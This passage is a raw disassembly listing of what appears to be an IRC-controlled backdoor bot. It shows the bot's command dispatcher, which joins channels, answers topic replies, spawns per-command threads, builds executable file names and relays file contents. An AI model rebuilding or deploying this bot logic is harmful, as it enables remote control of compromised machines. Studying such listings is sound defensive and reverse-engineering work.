		mov	[ebp-468h], eax
		lea	eax, [ebp-4ECh]
		mov	[ebp-4F0h], esi
		push	eax
		call	sub_411C90
		add	esp, 14h
		mov	edi, [ebp-4]
		mov	eax, [ebp-8]
		mov	[ebp-458h], edi
		push	dword ptr [ebp-468h]
		mov	[ebp-454h], eax
		push	dword ptr [ebp-46Ch]
		push	dword ptr [ebp-460h]
		call	ds:dword_42FAA4
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset unk_42AC60
		push	eax
		call	sub_4104AF
		push	ebx
		lea	eax, [ebp-2E4h]
		push	8
		push	eax
		call	sub_40FF5B
		add	esp, 20h
		mov	[ebp-464h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4F0h]
		push	ebx
		push	eax
		push	offset sub_40F7CF
		push	ebx
		push	ebx
		call	ds:dword_41C064	; CreateThread
		mov	ecx, [ebp-464h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_434BBC[ecx], eax
		jz	short loc_40BCAE


loc_40BC98:				; CODE XREF: seg000:0040BCACj
		cmp	[ebp-450h], ebx
		jnz	loc_40D44A
		push	32h
		call	ds:dword_41C050	; Sleep
		jmp	short loc_40BC98
; ---------------------------------------------------------------------------


loc_40BCAE:				; CODE XREF: seg000:0040BC96j
		call	ds:dword_41C060	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42AC10
		jmp	loc_40D43B
; ---------------------------------------------------------------------------


loc_40BCBF:				; CODE XREF: seg000:0040AD67j
					; seg000:0040AD7Ej
		push	edi
		call	sub_41098F
		push	7Fh
		mov	[ebp-300h], eax
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-404h]
		push	eax
		call	sub_411C90
		push	dword ptr [ebp+8]
		call	sub_41098F
		push	dword ptr [ebp-8Ch]
		mov	esi, [ebp+0Ch]
		mov	[ebp-304h], eax
		lea	eax, [ebp-384h]
		push	80h
		push	eax
		mov	[ebp-40Ch], esi
		call	sub_41099A
		mov	eax, [ebp-8]
		add	esp, 20h
		mov	edi, [ebp-4]
		mov	[ebp-2F0h], eax
		push	dword ptr [ebp-304h]
		lea	eax, [ebp-404h]
		mov	[ebp-2F4h], edi
		push	eax
		push	dword ptr [ebp-300h]
		push	esi
		call	sub_406CDF
		pop	ecx
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset unk_42ABC0
		push	eax
		call	sub_4104AF
		push	ebx
		lea	eax, [ebp-2E4h]
		push	10h
		push	eax
		call	sub_40FF5B
		add	esp, 24h
		mov	[ebp-2FCh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-40Ch]
		push	ebx
		push	eax
		push	offset sub_405154
		push	ebx
		push	ebx
		call	ds:dword_41C064	; CreateThread
		mov	ecx, [ebp-2FCh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_434BBC[ecx], eax
		jz	short loc_40BDA8


loc_40BD92:				; CODE XREF: seg000:0040BDA6j
		cmp	[ebp-2ECh], ebx
		jnz	loc_40D44A
		push	32h
		call	ds:dword_41C050	; Sleep
		jmp	short loc_40BD92
; ---------------------------------------------------------------------------


loc_40BDA8:				; CODE XREF: seg000:0040BD90j
		call	ds:dword_41C060	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42AB6C
		jmp	loc_40D43B
; ---------------------------------------------------------------------------


loc_40BDB9:				; CODE XREF: seg000:0040AD39j
					; seg000:0040AD50j
		push	0FFh
		lea	eax, [ebp-788h]
		push	edi
		push	eax
		call	sub_411C90
		push	0FFh
		lea	eax, [ebp-688h]
		push	dword ptr [ebp+20h]
		push	eax
		call	sub_411C90
		push	dword ptr [ebp+8]
		mov	[ebp-584h], ebx
		call	sub_41098F
		mov	[ebp-580h], eax
		mov	eax, [ebp+esi-84h]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_40BE15
		push	10h
		push	ebx
		push	eax
		call	sub_4117A9
		add	esp, 0Ch
		mov	[ebp-578h], eax
		jmp	short loc_40BE1B
; ---------------------------------------------------------------------------


loc_40BE15:				; CODE XREF: seg000:0040BDFFj
		mov	[ebp-578h], ebx


loc_40BE1B:				; CODE XREF: seg000:0040BE13j
		mov	esi, [ebp+esi-80h]
		cmp	esi, ebx
		jz	short loc_40BE32
		push	esi
		call	sub_41098F
		pop	ecx
		mov	[ebp-57Ch], eax
		jmp	short loc_40BE38
; ---------------------------------------------------------------------------


loc_40BE32:				; CODE XREF: seg000:0040BE21j
		mov	[ebp-57Ch], ebx


loc_40BE38:				; CODE XREF: seg000:0040BE30j
		movzx	eax, byte ptr [ebp-9AFh]
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-8Ch]
		mov	[ebp-574h], eax
		lea	eax, [ebp-808h]
		mov	[ebp-80Ch], esi
		push	eax
		call	sub_411C90
		mov	eax, [ebp-4]
		push	dword ptr [ebp+20h]
		mov	[ebp-56Ch], eax
		mov	eax, [ebp-8]
		mov	[ebp-570h], eax
		push	edi
		lea	eax, [ebp-2E4h]
		push	offset unk_42AB2C
		push	eax
		call	sub_4104AF
		push	esi
		lea	eax, [ebp-2E4h]
		push	15h
		push	eax
		call	sub_40FF5B
		add	esp, 28h
		mov	[ebp-588h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-80Ch]
		push	ebx
		push	eax
		push	offset loc_407DDD
		push	ebx
		push	ebx
		call	ds:dword_41C064	; CreateThread
		mov	ecx, [ebp-588h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_434BBC[ecx], eax
		jz	short loc_40BEE6


loc_40BED0:				; CODE XREF: seg000:0040BEE4j
		cmp	[ebp-568h], ebx
		jnz	loc_40B559
		push	32h
		call	ds:dword_41C050	; Sleep
		jmp	short loc_40BED0
; ---------------------------------------------------------------------------


loc_40BEE6:				; CODE XREF: seg000:0040BECEj
		call	ds:dword_41C060	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42AAD8


loc_40BEF2:				; CODE XREF: seg000:0040B53Bj
					; seg000:0040B686j
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_4104AF
		jmp	loc_40B556
; ---------------------------------------------------------------------------


loc_40BF03:				; CODE XREF: seg000:0040AD0Bj
					; seg000:0040AD22j
		push	7Fh
		lea	eax, [ebp-774h]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_411C90
		push	esi
		lea	eax, [ebp-6F4h]
		push	dword ptr [ebp+20h]
		push	eax
		call	sub_411C90
		push	esi
		lea	eax, [ebp-674h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_411C90
		push	esi
		lea	eax, [ebp-5F4h]
		push	dword ptr [ebp-8Ch]
		push	eax
		call	sub_411C90
		mov	eax, [ebp-8]
		push	dword ptr [ebp+8]
		mov	esi, [ebp-4]
		mov	[ebp-56Ch], eax
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp+20h]
		mov	[ebp-778h], eax
		lea	eax, [ebp-2E4h]
		push	edi
		push	offset dword_42AA98
		push	eax
		mov	[ebp-570h], esi
		call	sub_4104AF
		add	esp, 44h
		lea	eax, [ebp-2E4h]
		push	ebx
		push	0Bh
		push	eax
		call	sub_40FF5B
		add	esp, 0Ch
		mov	[ebp-574h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-778h]
		push	ebx
		push	eax
		push	offset start
		push	ebx
		push	ebx
		call	ds:dword_41C064	; CreateThread
		mov	ecx, [ebp-574h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_434BBC[ecx], eax
		jz	short loc_40BFD6


loc_40BFC4:				; CODE XREF: seg000:0040BFD4j
		cmp	[ebp-568h], ebx
		jnz	short loc_40BFF1
		push	32h
		call	ds:dword_41C050	; Sleep
		jmp	short loc_40BFC4
; ---------------------------------------------------------------------------


loc_40BFD6:				; CODE XREF: seg000:0040BFC2j
		call	ds:dword_41C060	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset dword_42AA4C
		push	eax
		call	sub_4104AF
		add	esp, 0Ch


loc_40BFF1:				; CODE XREF: seg000:0040BFCAj
		cmp	[ebp-8], ebx
		jnz	loc_40B13B
		push	ebx
		push	esi
		jmp	loc_40B123
; ---------------------------------------------------------------------------


loc_40C001:				; CODE XREF: seg000:0040ACDDj
					; seg000:0040ACF4j
		push	7Fh
		lea	eax, [ebp-444h]
		push	edi
		push	eax
		call	sub_411C90
		push	dword ptr [ebp+20h]
		call	sub_41098F
		push	3Fh
		mov	[ebp-2F4h], eax
		push	dword ptr [ebp+8]
		lea	eax, [ebp-3C4h]
		push	eax
		call	sub_411C90
		mov	esi, [ebp+esi-84h]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_40C04F
		push	3Fh
		lea	eax, [ebp-384h]
		push	esi
		push	eax
		call	sub_411C90
		add	esp, 0Ch


loc_40C04F:				; CODE XREF: seg000:0040C03Bj
		lea	eax, [ebp-3C4h]
		mov	dword ptr [ebp-2F0h], 1
		push	eax
		lea	eax, [ebp-444h]
		push	dword ptr [ebp-2F4h]
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset unk_42AA08
		push	eax
		call	sub_4104AF
		push	ebx
		lea	eax, [ebp-2E4h]
		push	17h
		push	eax
		call	sub_40FF5B
		add	esp, 20h
		mov	[ebp-2ECh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-448h]
		push	ebx
		push	eax
		push	offset sub_408C63
		push	ebx
		push	ebx
		call	ds:dword_41C064	; CreateThread
		mov	ecx, [ebp-2ECh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_434BBC[ecx], eax
		jz	short loc_40C0DB


loc_40C0C5:				; CODE XREF: seg000:0040C0D9j
		cmp	[ebp-2E8h], ebx
		jnz	loc_40B07C
		push	32h
		call	ds:dword_41C050	; Sleep
		jmp	short loc_40C0C5
; ---------------------------------------------------------------------------


loc_40C0DB:				; CODE XREF: seg000:0040C0C3j
		call	ds:dword_41C060	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A9BC
		jmp	loc_40B06D
; ---------------------------------------------------------------------------


loc_40C0EC:				; CODE XREF: seg000:0040AC9Dj
					; seg000:0040ACB4j
		push	dword ptr [ebp+20h]
		push	edi
		call	near ptr 0A70000h
		add	dword ptr [ebp-0E08B40h], 858D2075h
		sbb	al, 0FDh
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	57h
; ---------------------------------------------------------------------------
		push	offset unk_42A984
		push	200h
		push	eax
		call	sub_41099A
		add	esp, 14h
		jmp	short loc_40C138
; ---------------------------------------------------------------------------
		push	offset dword_42A964
		call	sub_406776
		push	eax
		lea	eax, [ebp-2E4h]
		push	200h
		push	eax
		call	sub_41099A
		add	esp, 10h


loc_40C138:				; CODE XREF: seg000:0040C117j
					; seg000:0040CBFDj ...
		cmp	[ebp-8], ebx
		jnz	short loc_40C159
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40DFB2
		add	esp, 14h


loc_40C159:				; CODE XREF: seg000:0040A008j
					; seg000:0040C13Bj ...
		push	1
		pop	esi


loc_40C15C:				; CODE XREF: seg000:0040C3C4j
					; seg000:0040CB28j ...
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_407AB1
		pop	ecx
		mov	eax, esi
		jmp	loc_4093C1
; ---------------------------------------------------------------------------


loc_40C170:				; CODE XREF: seg000:0040AC6Fj
					; seg000:0040AC86j
		push	44h
		lea	eax, [ebp-48Ch]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_410870
		push	1
		mov	[ebp-48Ch], esi
		pop	esi
		mov	[ebp-45Ch], bx
		push	edi
		mov	[ebp-460h], esi
		call	sub_41098F
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_40C1AD
		mov	word ptr [ebp-45Ch], 5


loc_40C1AD:				; CODE XREF: seg000:0040C1A2j
		cmp	[ebp-0Ch], ebx
		jz	loc_40B07C
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_4109F0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_40B07C
		lea	eax, [ebp-0D8h]
		push	eax
		lea	eax, [ebp-48Ch]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	near ptr 0A70000h
		xchg	eax, esi
		test	eax, eax
		jnz	short loc_40C206
		push	offset unk_42A92C


loc_40C1F3:				; CODE XREF: seg000:0040A758j
					; seg000:0040A7DCj ...
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_4104AF
		pop	ecx
		pop	ecx
		jmp	loc_40B07C
; ---------------------------------------------------------------------------


loc_40C206:				; CODE XREF: seg000:0040C1ECj
		push	edi
		push	offset dword_42A900
		jmp	loc_40B06D
; ---------------------------------------------------------------------------


loc_40C211:				; CODE XREF: seg000:0040AC41j
					; seg000:0040AC58j
		push	dword ptr [ebp+20h]
		push	offset aIdxbqw	; "idxbqw"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C38D
		lea	eax, [ebp-3E8h]
		push	eax
		push	104h
		call	near ptr 0A70000h
		cdq
		push	0FFh
		lea	eax, [ebp-788h]
		push	edi
		push	eax
		call	sub_411C90
		lea	eax, [ebp-0E4h]
		push	eax
		call	sub_40F38C
		push	eax
		lea	eax, [ebp-3E8h]
		push	eax
		lea	eax, [ebp-688h]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_4104AF
		mov	eax, [ebp+esi-88h]
		add	esp, 20h
		cmp	eax, ebx
		mov	dword ptr [ebp-584h], 1
		mov	[ebp-580h], ebx
		jz	short loc_40C2A3
		push	10h
		push	ebx
		push	eax
		call	sub_4117A9
		add	esp, 0Ch
		mov	[ebp-578h], eax
		jmp	short loc_40C2A9
; ---------------------------------------------------------------------------


loc_40C2A3:				; CODE XREF: seg000:0040C28Dj
		mov	[ebp-578h], ebx


loc_40C2A9:				; CODE XREF: seg000:0040C2A1j
		mov	esi, [ebp+esi-84h]
		cmp	esi, ebx
		jz	short loc_40C2C3
		push	esi
		call	sub_41098F
		pop	ecx
		mov	[ebp-57Ch], eax
		jmp	short loc_40C2C9
; ---------------------------------------------------------------------------


loc_40C2C3:				; CODE XREF: seg000:0040C2B2j
		mov	[ebp-57Ch], ebx


loc_40C2C9:				; CODE XREF: seg000:0040C2C1j
		movzx	eax, byte ptr [ebp-9AFh]
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-8Ch]
		mov	[ebp-574h], eax
		lea	eax, [ebp-808h]
		mov	[ebp-80Ch], esi
		push	eax
		call	sub_411C90
		mov	eax, [ebp-4]
		push	edi
		mov	[ebp-56Ch], eax
		mov	eax, [ebp-8]
		mov	[ebp-570h], eax
		lea	eax, [ebp-2E4h]
		push	offset unk_42A8B4
		push	eax
		call	sub_4104AF
		push	esi
		lea	eax, [ebp-2E4h]
		push	16h
		push	eax
		call	sub_40FF5B
		add	esp, 24h
		mov	[ebp-588h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-80Ch]
		push	ebx
		push	eax
		push	offset loc_407DDD
		push	ebx
		push	ebx
		call	ds:dword_41C064	; CreateThread
		mov	ecx, [ebp-588h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_434BBC[ecx], eax
		jz	short loc_40C370


loc_40C35E:				; CODE XREF: seg000:0040C36Ej
		cmp	[ebp-568h], ebx
		jnz	short loc_40C3A0
		push	32h
		call	ds:dword_41C050	; Sleep
		jmp	short loc_40C35E
; ---------------------------------------------------------------------------


loc_40C370:				; CODE XREF: seg000:0040C35Cj
		call	ds:dword_41C060	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A864


loc_40C37C:				; CODE XREF: seg000:0040CB6Cj
					; seg000:0040CB76j ...
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_4104AF


loc_40C388:				; CODE XREF: seg000:0040D4E8j
		add	esp, 0Ch
		jmp	short loc_40C3A0
; ---------------------------------------------------------------------------


loc_40C38D:				; CODE XREF: seg000:0040C222j
		lea	eax, [ebp-2E4h]
		push	offset unk_42A80C
		push	eax
		call	sub_4104AF
		pop	ecx
		pop	ecx


loc_40C3A0:				; CODE XREF: seg000:0040C364j
					; seg000:0040C38Bj ...
		cmp	[ebp-8], ebx
		jnz	short loc_40C3C1
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40DFB2
		add	esp, 14h


loc_40C3C1:				; CODE XREF: seg000:0040C3A3j
					; seg000:0040DA44j ...
		mov	esi, [ebp+2Ch]
		jmp	loc_40C15C
; ---------------------------------------------------------------------------


loc_40C3C9:				; CODE XREF: seg000:0040AC13j
					; seg000:0040AC2Aj
		push	dword ptr [ebp-90h]
		push	offset a332	; "332"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093BE
		cmp	[ebp-0Ch], ebx
		jz	loc_4093BE
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_4109F0
		push	eax
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp-90h]
		push	dword ptr [ebp-94h]
		push	offset dword_42A7FC
		push	eax
		call	sub_4104AF
		lea	eax, [ebp-2E4h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_411C90
		push	edi
		call	sub_41098F
		add	esp, 30h
		test	eax, eax
		jle	short loc_40C450
		push	edi
		call	sub_41098F
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	ds:dword_41C050	; Sleep


loc_40C450:				; CODE XREF: seg000:0040C43Aj
		push	offset dword_42A7D4
		call	sub_407AB1
		mov	eax, [ebp+2Ch]
		pop	ecx
		inc	eax
		jmp	loc_4093C1
; ---------------------------------------------------------------------------


loc_40C464:				; CODE XREF: seg000:0040ABE5j
					; seg000:0040ABFCj
		push	dword ptr [ebp-90h]
		push	offset a332	; "332"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093BE
		cmp	[ebp-0Ch], ebx
		jz	loc_40DD93
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_4109F0
		mov	esi, eax
		mov	eax, [ebp+20h]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_4117C0
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_40C520
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-90h]
		push	dword ptr [ebp-94h]
		push	offset dword_42A7FC
		push	eax
		call	sub_4104AF
		lea	eax, [ebp-2E4h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_411C90
		push	esi
		lea	eax, [ebp-2E4h]
		push	offset dword_42A7A0
		push	eax
		call	sub_4104AF
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_407AB1
		push	edi
		call	sub_41098F
		add	esp, 38h
		test	eax, eax
		jle	loc_40DD93
		push	edi
		call	sub_41098F
		add	eax, [ebp+2Ch]
		pop	ecx
		jmp	loc_4093C1
; ---------------------------------------------------------------------------


loc_40C520:				; CODE XREF: seg000:0040C4A9j
		push	offset dword_42A758
		jmp	loc_40B06D
; ---------------------------------------------------------------------------


loc_40C52A:				; CODE XREF: seg000:0040ABB7j
					; seg000:0040ABCEj
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-2E4h]
		push	offset dword_42A750
		push	eax
		call	sub_4104AF
		push	edi
		call	sub_41098F
		add	esp, 10h


loc_40C547:				; CODE XREF: seg000:0040C5B1j
		test	eax, eax
		jle	loc_40DD93
		push	edi
		call	sub_41098F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40DD93


loc_40C561:				; CODE XREF: seg000:0040CC87j
		lea	eax, [ebp-2E4h]
		push	eax
		push	offset dword_42A748
		push	edi
		call	sub_41098F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_434BB4[eax]
		call	sub_40DF6C


loc_40C585:				; CODE XREF: seg000:0040DB23j
		add	esp, 0Ch
		jmp	loc_40DD93
; ---------------------------------------------------------------------------


loc_40C58D:				; CODE XREF: seg000:0040AB89j
					; seg000:0040ABA0j
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp+20h]
		push	offset dword_42A73C
		push	eax
		call	sub_4104AF
		push	edi
		call	sub_41098F
		add	esp, 14h
		jmp	short loc_40C547
; ---------------------------------------------------------------------------


loc_40C5B3:				; CODE XREF: seg000:0040AB5Bj
					; seg000:0040AB72j
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-2E4h]
		push	offset dword_42A734
		push	eax
		call	sub_4104AF
		push	edi
		call	sub_41098F
		add	esp, 10h
		test	eax, eax
		jle	loc_40DD93
		push	edi
		call	sub_41098F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40DD93
		lea	eax, [ebp-2E4h]
		push	eax
		push	offset dword_42A748
		push	edi
		call	sub_41098F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_434BB4[eax]
		call	sub_40DF6C
		push	dword ptr [ebp+20h]
		push	edi
		push	offset dword_42A704


loc_40C617:				; CODE XREF: seg000:0040C6A1j
					; seg000:0040C70Cj ...
		call	sub_407B25


loc_40C61C:				; CODE XREF: seg000:0040D7F0j
		add	esp, 18h
		jmp	loc_40DD93
; ---------------------------------------------------------------------------


loc_40C624:				; CODE XREF: seg000:0040AB2Dj
					; seg000:0040AB44j
		cmp	[ebp-0Ch], ebx
		jz	loc_40DD93
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_4109F0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_40C655
		push	esi
		lea	eax, [ebp-2E4h]
		push	offset dword_42A6FC
		push	eax
		call	sub_4104AF
		add	esp, 0Ch


loc_40C655:				; CODE XREF: seg000:0040C63Ej
		push	edi
		call	sub_41098F
		test	eax, eax
		pop	ecx
		jle	loc_40DD93
		push	edi
		call	sub_41098F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40DD93
		lea	eax, [ebp-2E4h]
		push	eax
		push	offset dword_42A748
		push	edi
		call	sub_41098F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_434BB4[eax]
		call	sub_40DF6C
		push	esi
		push	edi
		push	offset dword_42A6CC
		jmp	loc_40C617
; ---------------------------------------------------------------------------


loc_40C6A6:				; CODE XREF: seg000:0040AAFFj
					; seg000:0040AB16j
		cmp	[ebp-0Ch], ebx
		jz	loc_40DD93
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_4109F0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40DD93
		push	edi
		call	sub_41098F
		test	eax, eax
		pop	ecx
		jle	loc_40DD93
		push	edi
		call	sub_41098F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40DD93
		push	esi
		push	offset dword_42A748
		push	edi
		call	sub_41098F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_434BB4[eax]
		call	sub_40DF6C
		push	esi
		push	edi
		push	offset dword_42A69C
		jmp	loc_40C617
; ---------------------------------------------------------------------------


loc_40C711:				; CODE XREF: seg000:0040AAD1j
					; seg000:0040AAE8j
		cmp	[ebp-0Ch], ebx
		jz	loc_40DD93
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_4109F0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40DD93
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40DF6C
		push	esi
		push	offset dword_42A660


loc_40C743:				; CODE XREF: seg000:0040CE2Cj
					; seg000:0040CE45j ...
		call	sub_407B25


loc_40C748:				; CODE XREF: seg000:0040C7B1j
		add	esp, 14h
		jmp	loc_40DD93
; ---------------------------------------------------------------------------


loc_40C750:				; CODE XREF: seg000:0040AAA3j
					; seg000:0040AABAj
		push	dword ptr [ebp-90h]
		push	offset a332	; "332"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093BE
		push	dword ptr [ebp+20h]
		push	offset dword_42A654
		push	dword ptr [ebp+0Ch]
		call	sub_40DF6C
		push	edi
		call	sub_41098F
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	ds:dword_41C050	; Sleep
		push	dword ptr [ebp+esi-88h]
		push	dword ptr [ebp+20h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40DF6C
		push	offset dword_42A62C
		call	sub_407AB1
		jmp	short loc_40C748
; ---------------------------------------------------------------------------


loc_40C7B3:				; CODE XREF: seg000:0040AA75j
					; seg000:0040AA8Cj
		cmp	[ebp-0Ch], ebx
		jz	loc_40DD93
		push	edi
		call	sub_410A70
		push	dword ptr [ebp+18h]
		mov	esi, eax
		call	sub_410A70
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+20h]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_4109F0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_40DD93
		push	esi
		lea	eax, [ebp-2E4h]
		push	offset dword_42ACD0
		push	eax
		call	sub_4104AF
		push	ebx
		lea	eax, [ebp-2E4h]
		push	ebx
		push	eax
		push	edi
		push	dword ptr [ebp+0Ch]
		call	sub_40DFB2
		push	esi
		push	edi
		push	offset dword_42A5FC
		call	sub_407B25
		add	esp, 2Ch
		jmp	loc_40DD93
; ---------------------------------------------------------------------------


loc_40C821:				; CODE XREF: seg000:0040AA47j
					; seg000:0040AA5Ej
		cmp	[ebp-0Ch], ebx
		jz	loc_40DD93
		push	edi
		call	sub_410A70
		push	dword ptr [ebp+18h]
		mov	esi, eax
		call	sub_410A70
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+20h]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_4109F0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_40DD93
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+0Ch]
		call	sub_40DFB2
		push	esi
		push	edi
		push	offset dword_42A5CC
		call	sub_407B25
		jmp	loc_40B6D6
; ---------------------------------------------------------------------------


loc_40C874:				; CODE XREF: seg000:0040AA19j
					; seg000:0040AA30j
		cmp	[ebp-0Ch], ebx
		jz	loc_4093BE
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_4109F0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_4093BE
		push	eax
		push	edi
		call	sub_4079B9
		push	edi
		lea	eax, [ebp-2E4h]
		push	offset dword_42A59C
		push	eax
		call	sub_4104AF
		add	esp, 14h
		jmp	loc_40B11A
; ---------------------------------------------------------------------------


loc_40C8B3:				; CODE XREF: seg000:0040A9D9j
					; seg000:0040A9F0j
		push	edi
		push	dword ptr [ebp+24h]
		call	sub_4109F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DD93
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jz	short loc_40C950
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_4109F0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_40C938
		push	esi
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp-90h]
		push	dword ptr [ebp-94h]
		push	offset dword_42A7FC
		push	eax
		call	sub_4104AF
		lea	eax, [ebp-2E4h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_411C90
		push	esi
		push	edi
		lea	eax, [ebp-2E4h]
		push	offset dword_42A564
		push	eax
		call	sub_4104AF
		add	esp, 34h
		inc	dword ptr [ebp+2Ch]
		jmp	loc_40DA06
; ---------------------------------------------------------------------------


loc_40C938:				; CODE XREF: seg000:0040C8E0j
		lea	eax, [ebp-2E4h]
		push	offset dword_42A520
		push	eax
		call	sub_4104AF
		pop	ecx
		pop	ecx
		jmp	loc_40DA06
; ---------------------------------------------------------------------------


loc_40C950:				; CODE XREF: seg000:0040C8CFj
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+24h]
		push	eax
		call	sub_4078F3
		add	esp, 0Ch
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40DFB2
		push	edi
		push	offset dword_42A4F4
		lea	eax, [ebp-2E4h]
		push	200h
		push	eax
		call	sub_41099A
		add	esp, 24h
		jmp	loc_40DA06
; ---------------------------------------------------------------------------


loc_40C997:				; CODE XREF: seg000:0040A70Fj
					; seg000:0040A726j
		push	offset aR	; "r"
		push	edi
		call	sub_411AB2
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_40CA11
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp-2E4h]
		push	ebx
		push	eax
		call	sub_41262C
		add	esp, 0Ch


loc_40C9C0:				; CODE XREF: seg000:0040C9EFj
		test	eax, eax
		jz	short loc_40C9F1
		push	1
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40DFB2
		push	esi
		lea	eax, [ebp-2E4h]
		push	ebx
		push	eax
		call	sub_41262C
